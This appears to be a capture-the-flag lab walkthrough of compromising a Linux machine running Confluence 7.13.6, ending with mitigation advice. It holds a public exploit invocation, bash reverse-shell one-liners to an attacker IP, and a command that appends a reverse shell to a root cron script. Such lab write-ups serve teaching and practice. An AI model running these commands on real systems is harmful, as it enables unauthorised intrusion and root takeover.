Flu

Introduction

In this walkthrough, I targeted a Linux machine where ports 22 and 8090 were discovered open. Upon investigating port 8090, I identified an instance of Atlassian Confluence version 7.13.6. After researching known vulnerabilities, I found a publicly available exploit for this version and successfully gained initial access. During post-exploitation, I suspected a cron job might be running as root. I used pspy to monitor processes and confirmed this. By appending a reverse shell to the cron-executed script, I was able to escalate privileges and gain a root shell. Let’s start ..

Nmap

TCP

Run a quick Nmap TCP scan:

sudo nmap -sV $IP --open 

UDP

Check top 100 UDP ports:

sudo nmap -sU -F $IP

Full Port Scan

sudo nmap -sV -sC -p- $IP -Pn -n -v --open

Services

Port 22

We usually skip SSH.

Web

Port 8090

• Version - Apache Tomcat (language: en)

Exploitation

Navigating to website we are greeted with login screen where I tried admin:admin but it didn’t work. I saw a version of the software and found an exploit for it:

https://github.com/jbaines-r7/through_the_wire

python3 through_the_wire.py --rhost 192.168.210.41 --rport 8090 --lhost 192.168.45.155 --protocol http:// --reverse-shell

Running the exploit script we are in:

We are the only user so we should do Privilege Escalation:

Privilege Escalation

Let’s first get an interactive shell using bash:

bash -i >& /dev/tcp/192.168.45.155/8090 0>&1

I checked sudo -l but it requires password.

I see MySQL server running:

• OSCP Checklist
  • Situational awareness
  • Exposed Confidential Information
  • Password Authentication Abuse
  • Hunting Sensitive Information
  • Sudo
  • SUID/SGID
  • Capabilities
  • Cron Jobs Abuse
  • Kernel Exploits
  • Check if sudoers file is writable
  • Try credentials you already obtained for various services admin roles
• No interesting SUID binaries
• No interesting binaries with capabilities
• No cronjobs

• linpeas

  

  /opt/log-backup.sh

  /var/atlassian/application-data/confluence/backups/backup-2025_05_01.zip

• tmux session

  

• root login

  

If you found .sh and want to check for if it is actually a cron job for the root user check:

1. /etc/cron.d/ contents, as files here can run arbitrary commands and specify their own user
2. /var/spool/cron/crontabs/root - this is root’s personal crontab
3. Use pspy (if allowed) to monitor running processes and confirm if /opt/log-backup.sh is being executed by root.

Let’s run pspy64

After waiting a bit we can see that .sh file is run as cron job by root (UID=0):

And we own that file.

Let’s add a reverse shell there:

bash -i >& /dev/tcp/192.168.45.155/4444 0>&1
echo 'bash -i >& /dev/tcp/192.168.45.155/4444 0>&1' >> log-backup.sh

And we got a root shell.

Mitigation

• Update Confluence: Upgrade Atlassian Confluence to the latest supported version, as version 7.13.6 is vulnerable to known remote code execution (RCE) exploits.
• Restrict External Access: Limit access to internal applications like Confluence using firewall rules or VPN-based access controls.
• Harden Cron Jobs: Ensure all scripts executed via cron are owned by root, non-writable by other users, and reside in secure directories.
• Minimal User Privileges: Ensure low-privileged users do not have write access to any files or directories used in scheduled tasks.